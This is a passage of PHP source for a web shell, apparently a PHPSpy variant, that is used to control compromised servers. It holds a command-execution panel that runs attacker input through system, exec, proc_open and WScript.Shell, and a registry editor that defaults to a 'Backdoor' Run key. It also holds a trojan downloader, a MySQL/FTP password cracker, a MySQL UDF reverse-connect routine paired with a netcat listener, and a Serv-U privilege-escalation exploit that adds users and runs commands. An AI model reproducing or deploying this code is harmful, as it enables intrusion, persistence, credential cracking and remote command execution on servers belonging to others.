		@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
		echo "<tr class=".getrowbg().">\n";
		echo "  <td style=\"padding-left: 5px;\">";
		echo "<INPUT type=checkbox value=$file name=dl[]>";
		echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
		echo "  <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
		echo "  <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
		echo "  <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";
		echo "  <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";
		echo "  <td align=\"center\" nowrap><a href=\"?downfile=".urlencode($filepath)."\"></a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\"></a> | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."',' $file ?','2')\"></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."\"></a> | <a href=\"?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."\"></a></td>\n";
		echo "</tr>\n";
		$file_i++;
	}
}// while
@closedir($dirs); 
if(get_cfg_var('safemode'))$z = "<a href=\"#\" title=\"\" onclick=\"alert('Php\\n\\n,')\">(?)</a>";
else $z = "<a href=\"#\" title=\"\" onclick=\"alert('Php\\n\\n')\">(?)</a>";
$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('localfile','','','text','15').''.$tb->makeinput('downrar','','','submit').' &nbsp'.$z.'</td><td align="right">'.$dir_i.'  / '.$file_i.' </td></tr></table>','center',getrowbg(),'','','6');

echo "</FORM>\n";
echo "</table>\n";
}// end dir

elseif ($_GET['action'] == "editfile") {
	if(empty($newfile)) {
		$filename="$dir/$editfile";
		$fp=@fopen($filename,"r");
		$contents=@fread($fp, filesize($filename));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}else{
		$editfile=$newfile;
		$filename = "$dir/$editfile";
	}
	$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
	$tb->tableheader();
	$tb->formheader($action,'/');
	$tb->tdbody(': '.$tb->makeinput('editfilename',$filename).'  Php: <input type="checkbox" name="change" value="yes" onclick="javascript:alert(\'php\\n\\nphpphpgzinflate\')"> ');
	$tb->tdbody($tb->maketextarea('filecontent',$contents));
	$tb->makehidden('do','doeditfile');
	$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "rename") {
	$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
	$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->makehidden('oldname',$dir."/".$nowfile);
	$tb->makehidden('dir',$dir);
	$tb->tdbody(': '.basename($nowfile));
	$tb->tdbody(': '.$tb->makeinput('newname'));
	$tb->makehidden('do','rename');
	$tb->formfooter('1','30');
}//end rename

elseif ($_GET['action'] == "eval") {
	$action = "?dir=".urlencode($dir)."";
	$tb->tableheader();
	$tb->formheader(''.$action.' "target="_blank' ,'php');
	$tb->tdbody($tb->maketextarea('phpcode',$contents));
	$tb->formfooter('1','30');
	
}
elseif ($_GET['action'] == "fileperm") {
	$action = "?dir=".urlencode($dir)."&file=".$file;
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody(' '.$file.' : '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
	$tb->makehidden('file',$file);
	$tb->makehidden('dir',urlencode($dir));
	$tb->makehidden('do','editfileperm');
	$tb->formfooter('1','30');
}//end fileperm

elseif ($_GET['action'] == "newtime") {
	$action = "?dir=".urlencode($dir);
	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody(": ".$tb->makeinput('curfile',$file,'readonly')."  : ".$tb->makeinput('tarfile',''),'center','2','30');
	$tb->makehidden('do','domodtime');
	$tb->formfooter('','30');
	$tb->formheader($action,'');
	$tb->tdbody('<br><ul><li> 1901  12  13   20:45:54  2038 1  19   03:14:07<br>( 32 )</li><li>:  01  30 ,  0  24 ,  0  60 !</li></ul>','left');
	$tb->tdbody(': '.$file);
	$tb->makehidden('curfile',$file);
	$tb->tdbody(': '.$tb->makeinput('year','1984','','text','4').'  '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).'  '.$tb->makeinput('data','18','','text','2').'  '.$tb->makeinput('hour','20','','text','2').'  '.$tb->makeinput('minute','00','','text','2').'  '.$tb->makeinput('second','00','','text','2').' ','center','2','30');
	$tb->makehidden('do','modmytime');
	$tb->formfooter('1','30');
}//end newtime

elseif ($_GET['action'] == "shell") {
	$action = "??action=shell&dir=".urlencode($dir);
	$tb->tableheader();
	$tb->tdheader('WebShell Mode');
  if (substr(PHP_OS, 0, 3) == 'WIN') {
		$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
		$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
		echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
		$tb->tdbody('  : '.$tb->makeinput('program',$program).' : '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');
		$tb->makehidden('do','programrun');
		echo "</form>\n";
	}
 echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
 if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
	$tb->tdbody(':,.. ');
	$tb->tdbody('proc_openwinnt,,.');
	$tb->tdbody('proc_opencmd:'.$tb->makeinput('cmd',$cmd,'','text','30').'(linux)');
   $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');
   $tb->tdbody(': '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' : '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));
?>
  <tr class="secondalt">
    <td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
	if (!empty($_POST['command'])) {
		if ($execfunc=="system") {
			system($_POST['command']);
		} elseif ($execfunc=="passthru") {
			passthru($_POST['command']);
		} elseif ($execfunc=="exec") {
			$result = exec($_POST['command']);
			echo $result;
		} elseif ($execfunc=="shell_exec") {
			$result=shell_exec($_POST['command']);
			echo $result;	
		} elseif ($execfunc=="popen") {
			$pp = popen($_POST['command'], 'r');
			$read = fread($pp, 2096);
			echo $read;
			pclose($pp);
		} elseif ($execfunc=="wscript") {
			$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
			$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif($execfunc=="proc_open"){
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open("".$_POST['cmd']."", $descriptorspec, $pipes);
if (is_resource($process)) {

    // 
    fwrite($pipes[0], "".$_POST['command']."\r\n");
    fwrite($pipes[0], "exit\r\n");
    fclose($pipes[0]);
    // 
    while (!feof($pipes[1])) {
        echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
        echo fgets($pipes[2], 1024);
      }
    fclose($pipes[2]);

    proc_close($process);
}
		} else {
			system($_POST['command']);
		}
	}
	?></textarea></td>
  </tr>  
  </form>
</table>
<?php
}//end shell

elseif ($_GET['action'] == "reg") {
	$action = '?action=reg';
	$regname = isset($_POST['regname']) ? $_POST['regname'] : 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber';
	$registre = isset($_POST['registre']) ? $_POST['registre'] : 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor';
	$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\winnt\backdoor.exe';
	$delregname = $_POST['delregname'];
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody(': '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','','','submit'),'center','2','50');
	echo "</form>";

	$tb->formheader($action,'');
	$cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ');
	$tb->tdbody(': '.$tb->makeinput('writeregname',$registre,'','text','56').' : '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' :  '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','','','submit'),'center','2','50');
	echo "</form>";

	$tb->formheader($action,'');
	$tb->tdbody(': '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','','','submit'),'center','2','50');
	echo "</form>";
	$tb->tablefooter();
}//end reg
elseif ($_GET['action'] == "downloads"){
$action = '?action=dir';
	$tb->tableheader();
	$tb->formheader($action,'http');
	$tb->tdbody('http','center');
	$tb->tdbody(': '.$tb->makeinput('durl','http://google.com/muma.exe','','text','70').'<br>:'.$tb->makeinput('path','./muma.exe','','text','60').''.$tb->makehidden('do','downloads').''.$tb->makeinput('','','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody(',.','center');
	$tb->tablefooter();
}
elseif ($_GET['action'] == "mix"){
$action = '?action=dir';
	$tb->tableheader();
	$tb->formheader($action,'mix.dll');
	$tb->tdbody('phpspymix.dll','center');
	$tb->tdbody(': '.$tb->makeinput('mixto','./mix.dll','','text','70').''.$tb->makehidden('action','mix').''.$tb->makeinput('','unzip','','submit'),'center','1','35');
	echo "</form>";
	$tb->tablefooter();
}
elseif ($_GET['action'] == "crack"){
$action = '?action=dir';
	$tb->tableheader();
	$tb->tdbody('','center');
	if($type=="crack"){
	$tb->formheader($action,'mysqlftp <a href="?action=crack">[Mysql]</a>');
	$tb->tdbody('mysql','center');
	$tb->tdbody('host: '.$tb->makeinput('host','localhost','','text','12').'&nbsp'.$tb->makeinput('user','root','','text','12').''.$tb->makehidden('do','crack').'&nbsp;:'.$tb->makeinput('passfile','./password.txt','','text','20').'&nbsp;:'.$tb->makeinput('onetime','100','','text','6').'&nbsp;'.$tb->makeinput('','crack','','submit'),'center','1','35');
	$tb->tdbody('MYSQL:<input type="radio" name="ctype" value="mysql" checked> &nbsp;&nbsp;Ftp:<input type="radio" name="ctype" value="ftp">','center');
	echo "</form>";
	if(getphpcfg("allow_url_fopen")=="Yes") $temp = "";
	$tb->tdbody(''.$temp.'Ftp','center');
	$tb->formheader($action,'');
	$tb->tdbody('','center');
	$tb->tdbody('host: '.$tb->makeinput('host','127.0.0.1',''.$tb->makehidden('do','port').'','text','12').'&nbsp;:'.$tb->makeinput('port',''.$admin[port].'','','text','60').'','center','1','35');
	$tb->tdbody(''.$tb->makeinput('','','','submit').'','center');
	echo "</form>";
	$tb->tdbody('!','center');
	$tb->tableheader();
}else{
	$tb->formheader("".$action."\" enctype=\"multipart/form-data",'Mysql <a href="?action=crack&type=crack">[Crack]</a>');
	$tb->tdbody('MysqlmysqlWebshell','center');
	$tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').'db: '.$tb->makeinput('database','mysql.user','','text','16').'upto: '.$tb->makeinput('uppath','c:/','','text','16').''.$tb->makehidden('action','mysqlup'),'center','1','35');
	$tb->tdbody(': '.$tb->makeinput('upname','','','text','16').': '.$tb->makeinput('upfile','','','file','26').''.$tb->makeinput('','upload','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody('file,.','center');
	$tb->formheader($action,'Mysql');
	$tb->tdbody('MysqlWebshell  <input type="checkbox" name="rardown" value="yes" onclick="javascript:alert(\'RAR!\')"> ','center');
	$tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').''.$tb->makehidden('action','mysqldown').': '.$tb->makeinput('filename','C:/windows/php.ini','','text','26').''.$tb->makeinput('','download','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody('file,.','center');
	$tb->tdbody('WindowsMysqlSystemLinux.','center');
}
	$tb->tablefooter();
}
elseif ($_GET['action'] == "search"){
$action = '?dir='.$dir.'';
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody('!','center');
	$tb->tdbody(': '.$tb->makeinput('path',''.$nowpath.'','','text','70').'<br>:'.$tb->makeinput('oldkey','','','text','60').''.$tb->makehidden('do','search').'<br> <input type="checkbox" name="type" value="list" onclick="javascript:alert(\',\\n\\n:[/][12/99],.\\n\\n,,!\')"> (!) <br>:<input type="checkbox" name="type2" value="getpath" onclick="javascript:alert(\'..\\n\\n....\\n\\n,,!\')"> '.$tb->makeinput('beline','0','','text','3').' '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('endline','10','','text','3').'... '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('','','','submit'),'center','1','35');
	echo "</form>";
	$tb->tdbody('.[/]','center');
	$tb->tablefooter();
}
elseif ($_GET['action'] == "proxy") {
	$action = '?action=proxy';
	$tb->tableheader();
	$tb->formheader($action,'','proxyframe');
	$tb->tdbody('<br><ul><li> HTTP ,CSS.</li><li>URL, SQL Injection .</li><li> URL,IP : '.gethostbyname($_SERVER['SERVER_NAME']).'</li></ul>','left');
	$tb->tdbody('URL: '.$tb->makeinput('url','about:blank','','text','100').' '.$tb->makeinput('','','','submit'),'center','1','40');
	$tb->tdbody('<iframe name="proxyframe" frameborder="0" width="765" height="400" marginheight="0" marginwidth="0" scrolling="auto" src="about:blank"></iframe>');
	echo "</form>";
	$tb->tablefooter();
}//end proxy

elseif ($_GET['action'] == "sql") {
	$action = '?action=sql';

	$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
	$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
	$dbpassword = $_POST['dbpassword'];
	$dbname = $_POST['dbname'];
	$sql_query = $_POST['sql_query'];
if($type=="fun"){
$sql_query = "CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\\Winnt\\\Mix.dll';
select Mixconnect('".$_SERVER['REMOTE_ADDR']."','8888');/**/
/* nc -vv -l -p 8888*/";
}
	$tb->tableheader();
	$tb->formheader($action,' SQL ');
	$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','','','submit'));
	$tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10'));
	$tb->makehidden('do','query');
	$tb->formfooter('1','30');
}//end sql query

elseif ($_GET['action'] == "sqlbak") {
	$action = '?action=sqlbak';
	$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
	$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
	$dbpassword = $_POST['dbpassword'];
	$dbname = $_POST['dbname'];
	$tb->tableheader();
	$tb->formheader($action,' MySQL ');
	$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','','','submit'));
	@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
    $tables = @mysql_list_tables($dbname);
    while ($table = @mysql_fetch_row($tables)) {
		$cachetables[$table[0]] = $table[0];
    }
    @mysql_free_result($tables);
	if (empty($cachetables)) {
		$tb->tdbody('<b> or </b>');
	} else {
		$tb->tdbody('<table border="0" cellpadding="3" cellspacing="1"><tr><td valign="top">:</td><td>'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'</td></tr><tr nowrap><td><input type="radio" name="backuptype" value="server" checked> :</td><td>'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'</td></tr><tr nowrap><td colspan="2"><input type="radio" name="backuptype" value="download">  ()</td></tr></table>');
		$tb->makehidden('do','backupmysql');
		$tb->formfooter('0','30');
	}
	$tb->tablefooter();
	@mysql_close();
}//end sql backup

elseif ($_GET['action'] == "phpenv") {
	$user = " <a href=\"?action=nowuser\" target=\"_blank\">crush</a> ";
	$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "";
	$adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
	if ($dis_func == "") {
		$dis_func = "No";
	}else {
		$dis_func = str_replace(" ","<br>",$dis_func);
		$dis_func = str_replace(",","<br>",$dis_func);
	}
	$phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
		$info = array(
		    0 => array("php",$user),
			1 => array("",PHP_OS),
			2 => array("",date("Ymd h:i:s",time())),
			3 => array("","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"),
			4 => array("IP",gethostbyname($_SERVER['SERVER_NAME'])),
			5 => array("",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
			6 => array("",$_SERVER['SERVER_SOFTWARE']),
			7 => array("Web",$_SERVER['SERVER_PORT']),
			8 => array("PHP",strtoupper(php_sapi_name())),
			9 => array("PHP",PHP_VERSION),
			10 => array("",getphpcfg("safemode")),
			11 => array("",$adminmail),
			12 => array("",__FILE__),
            13 => array(" URL  allow_url_fopen",getphpcfg("allow_url_fopen")),
			14 => array(" enable_dl",getphpcfg("enable_dl")),
			15 => array(" display_errors",getphpcfg("display_errors")),
			16 => array(" register_globals",getphpcfg("register_globals")),
			17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")),
			18 => array(" memory_limit",getphpcfg("memory_limit")),
			19 => array("POST post_max_size",getphpcfg("post_max_size")),
			20 => array(" upload_max_filesize",$upsize),
			21 => array(" max_execution_time",getphpcfg("max_execution_time").""),
			22 => array(" disable_functions",$dis_func),
			23 => array("phpinfo()",$phpinfo),
			24 => array("diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
            25 => array(" GD Library",getfun("imageline")),
			26 => array("IMAP",getfun("imap_close")),
			27 => array("MySQL",getfun("mysql_close")),
			28 => array("SyBase",getfun("sybase_close")),
			29 => array("Oracle",getfun("ora_close")),
			30 => array("Oracle 8 ",getfun("OCILogOff")),
			31 => array("PREL PCRE",getfun("preg_match")),
			32 => array("PDF",getfun("pdf_close")),
			33 => array("Postgre SQL",getfun("pg_close")),
			34 => array("SNMP",getfun("snmpget")),
			35 => array("(Zlib)",getfun("gzclose")),
			36 => array("XML",getfun("xml_set_object")),
			37 => array("FTP",getfun("ftp_login")),
			38 => array("ODBC",getfun("odbc_close")),
			39 => array("Session",getfun("session_start")),
			40 => array("Socket",getfun("fsockopen")),
		); 
	$tb->tableheader();
	echo "<form action=\"?action=phpenv\" method=\"POST\">\n";
	$tb->tdbody('<b>PHP</b>','left','1','30','style="padding-left: 5px;"');
	$tb->tdbody('(:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','','','submit'),'left','2','30','style="padding-left: 5px;"');
	$tb->makehidden('do','viewphpvar');
	echo "</form>\n";
	$hp = array(0=> '', 1=> 'PHP', 2=> '');
	for ($a=0;$a<3;$a++) {
		$tb->tdbody('<b>'.$hp[1].'</b>','left','1','30','style="padding-left: 5px;"');
?>
  <tr class="secondalt">
    <td>
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
<?php
		if ($a==0) {
			for($i=0;$i<=12;$i++) {
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		} elseif ($a == 1) {
			for ($i=13;$i<=24;$i++) {
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		} elseif ($a == 2) {
			for ($i=25;$i<=40;$i++) {
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}
?>
      </table>
    </td>
  </tr>
<?php
	}//for
echo "</table>";
}//end phpenv
elseif($_GET['action'] == "mysqlfun"){
	  echo "<table width=\"760\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\"><tr class=\"firstalt\"><td align=\"left\">";
	if($_POST['port'] != "" && $_POST['ip'] != "" && $_POST['function'] != ""  && $_POST['host'] != "" && $_POST['user'] != "")
    {
		$link=@mysql_connect($_POST['host'],$_POST['user'],$_POST['pass']);
		if (!$link) {
			 echo "<font color=red>Could not connect: ".mysql_error()."</font><br>";
			 }
			 else{
			 echo "<font color=blue>Connected successfully as ".$_POST['user']."</font><br>";
			 if(isset($_POST['mixpath'])&&!@file_exists($_POST['mixpath'])){
			echo"<font color=red>Can't find the ".$_POST['mixpath']."</font><br>";
			 }
			if(isset($_POST['mixpath'])){
			 $dll_path = addslashes($_POST['mixpath']);
			 $query="create function ".$_POST['function']." returns integer soname '".$dll_path."';";
			 echo (@mysql_query($query, $link)) ? "<font color=blue>Success: ".$query."</font><br>" : "<font color=red>Create function faild!<br>".mysql_error()."</font><br>";
			 }
			 echo"<font color=red>Now Select Function name of ".$_POST['function']."</font><br>";
			 $query="select ".$_POST['function']."('".$_POST['ip']."','".$_POST['port']."');";
			 echo (@mysql_query($query, $link)) ? "<font color=blue>Success: ".$query."</font><br>" : "<font color=red>Select Function name of ".$_POST['function']." faild!<br>".mysql_error()."</font><br>";
			 mysql_close($link);
			 }
			 }else{
			 echo"";
			 }
			 echo "</td></tr></table>";
			 if($nodll=="yes"){
				 $echodll = " <a href=\"#\" title=\"\" onclick=\"alert('addslashes\\\\\\ \\\\\\\\\n\\nnc -vv -l -p mysql')\">(?)</a>&nbsp;    Mixdll:
      <input name=\"mixpath\" type=\"text\" class=\"INPUT\"  value=\"C:\mix.dll\" size=\"50\"> &nbsp;<a href=\"?action=mysqlfun\">(function)</a>";
			 }else{
				 $echodll = "<FONT color=\"blue\">function</FONT> &nbsp;<a href=\"?action=mysqlfun&nodll=yes\">(function)</a>";
			 }
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  <tr class="firstalt">
    <td align="center">mysql_functionmix.dll</td>
  </tr>
  <form action="?action=mysqlfun" method="POST">
  <tr class="secondalt">
    <td align="center"><a href="?action=sql&type=fun">(Func)</a>&nbsp;:
      <input name="port" type="text" class="INPUT"  value="5438" size="6">      
      IP:
      <input name="ip" type="text" class="INPUT" value="<?=$_SERVER['REMOTE_ADDR']?>">     function:
      <input name="function" type="text" class="INPUT"  value="Mixconnect"> &nbsp;<a href="?action=mix">(Mix.dll)</a>
      <br>
	  Host : <input name="host" type="text" class="INPUT"  value="localhost" size="12">        User : <input name="user" type="text" class="INPUT"  value="root" size="8">            PassWd : <input name="pass" type="text" class="INPUT"  value=""> <br>
	  <?=$echodll?>
	  <? echo"<input name=\"nodll\" value=\"".$nodll."\" type=\"hidden\">";?> </td>
  </tr>
  <tr class="secondalt">
    <td align="center"><input name="Submit" type="submit" class="input" id="Submit" value="">
      <input name="Submit" type="reset" class="INPUT" value=""></td>
  </tr>  
  </form>
    <tr class="secondalt">
    <td align="center">Remember,Love is a dieing dream....</td>
  </tr>
</table>
<?
}
elseif($_GET['action'] == "SUExp")
{
    if($_POST['SUPort'] != "" && $_POST['SUUser'] != "" && $_POST['SUPass'] != "")
    {
        echo "<table width=\"760\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\"><tr class=\"firstalt\"><td align=\"left\">";
        $sendbuf = "";
        $recvbuf = "";
        $domain  = "-SETDOMAIN\r\n".
                "-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n".
                "-TZOEnable=0\r\n".
                " TZOKey=\r\n";
        $adduser = "-SETUSERSETUP\r\n".
                "-IP=0.0.0.0\r\n".
                "-PortNo=21\r\n".
                "-User=".$user."\r\n".
                "-Password=".$password."\r\n".
                "-HomeDir=c:\\\r\n".
                "-LoginMesFile=\r\n".
                "-Disable=0\r\n".
                "-RelPaths=1\r\n".
                "-NeedSecure=0\r\n".
                "-HideHidden=0\r\n".
                "-AlwaysAllowLogin=0\r\n".
                "-ChangePassword=0\r\n".
                "-QuotaEnable=0\r\n".
                "-MaxUsersLoginPerIP=-1\r\n".
                "-SpeedLimitUp=0\r\n".
                "-SpeedLimitDown=0\r\n".
                "-MaxNrUsers=-1\r\n".
                "-IdleTimeOut=600\r\n".
                "-SessionTimeOut=-1\r\n".
                "-Expire=0\r\n".
                "-RatioUp=1\r\n".
                "-RatioDown=1\r\n".
                "-RatiosCredit=0\r\n".
                "-QuotaCurrent=0\r\n".
                "-QuotaMaximum=0\r\n".
                "-Maintenance=None\r\n".
                "-PasswordType=Regular\r\n".
                "-Ratios=None\r\n".
                " Access=".$part."\|RWAMELCDP\r\n";
        $deldomain="-DELETEDOMAIN\r\n".
                     "-IP=0.0.0.0\r\n".
                     " PortNo=21\r\n";
        $sock = fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "USER ".$_POST["SUUser"]."\r\n";
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "SITE MAINTENANCE\r\n";
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = $domain;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = $adduser;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        echo "**********************************************************<br>";
		if($job!=="adduser"){//
        echo "Starting Exploit ...<br>";
        echo "**********************************************************<br>";
        $exp = fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "USER ".$user."\r\n";
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "PASS ".$password."\r\n";
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
        fputs($exp, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: site exec</font> <font color=green>".$_POST["SUCommand"]."</font><br>";
        $recvbuf = fgets($exp, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
        echo "**********************************************************<br>";
        echo "Starting Delete Domain ...<br>";
        echo "**********************************************************<br>";
        $sendbuf = $deldomain;
        fputs($sock, $sendbuf, strlen($sendbuf));
        echo "<font color=blue>Send: $sendbuf</font><br>";
        $recvbuf = fgets($sock, 1024);
        echo "<font color=red>Recv: $recvbuf</font><br>";
		}else{
			echo "All done ...<br>";
			echo "**********************************************************<br>";
		}
        echo "</td></tr></table>";
        fclose($sock);
        if($job!=="adduser") fclose($exp);
    }
?>
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  <tr class="firstalt">
    <td align="center">Serv-U  & </td>
  </tr>
  <form action="?action=SUExp" method="POST">
  <tr class="secondalt">
    <td align="center">LocalPort:
      <input name="SUPort" type="text" class="INPUT" id="SUPort" value="43958" size="7">      
      LocalUser:
